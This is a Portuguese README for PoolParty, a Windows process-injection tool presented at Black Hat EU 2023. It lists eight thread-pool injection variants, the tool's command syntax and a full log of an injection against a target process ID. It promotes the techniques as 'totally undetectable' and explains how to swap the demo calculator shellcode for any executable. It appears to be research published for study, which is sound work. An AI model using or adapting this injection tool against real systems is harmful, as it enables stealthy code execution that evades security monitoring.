
Um conjunto de técnicas de injeção de processo totalmente indetectáveis que abusam dos Thread Pools do Windows.
Uma coleção de técnicas de injeção de processo totalmente indetectáveis que abusam dos Windows Thread Pools. Apresentado no Black Hat EU 2023 Briefings sob o título - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| ID da Variante | Descrição da Variante |
|---|---|
| 1 | Substituir a rotina de início do worker factory alvo |
| 2 | Inserir item de trabalho TP_WORK no thread pool do processo alvo |
| 3 | Inserir item de trabalho TP_WAIT no thread pool do processo alvo |
| 4 | Inserir item de trabalho TP_IO no thread pool do processo alvo |
| 5 | Inserir item de trabalho TP_ALPC no thread pool do processo alvo |
| 6 | Inserir item de trabalho TP_JOB no thread pool do processo alvo |
| 7 | Inserir item de trabalho TP_DIRECT no thread pool do processo alvo |
| 8 | Inserir item de trabalho TP_TIMER no thread pool do processo alvo |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
Inserir item de trabalho TP_TIMER no processo ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
O shellcode padrão inicia uma calculadora via a WinExec API.
Para personalizar o executável a ser executado, altere o caminho no final da variável g_Shellcode presente no arquivo main.cpp.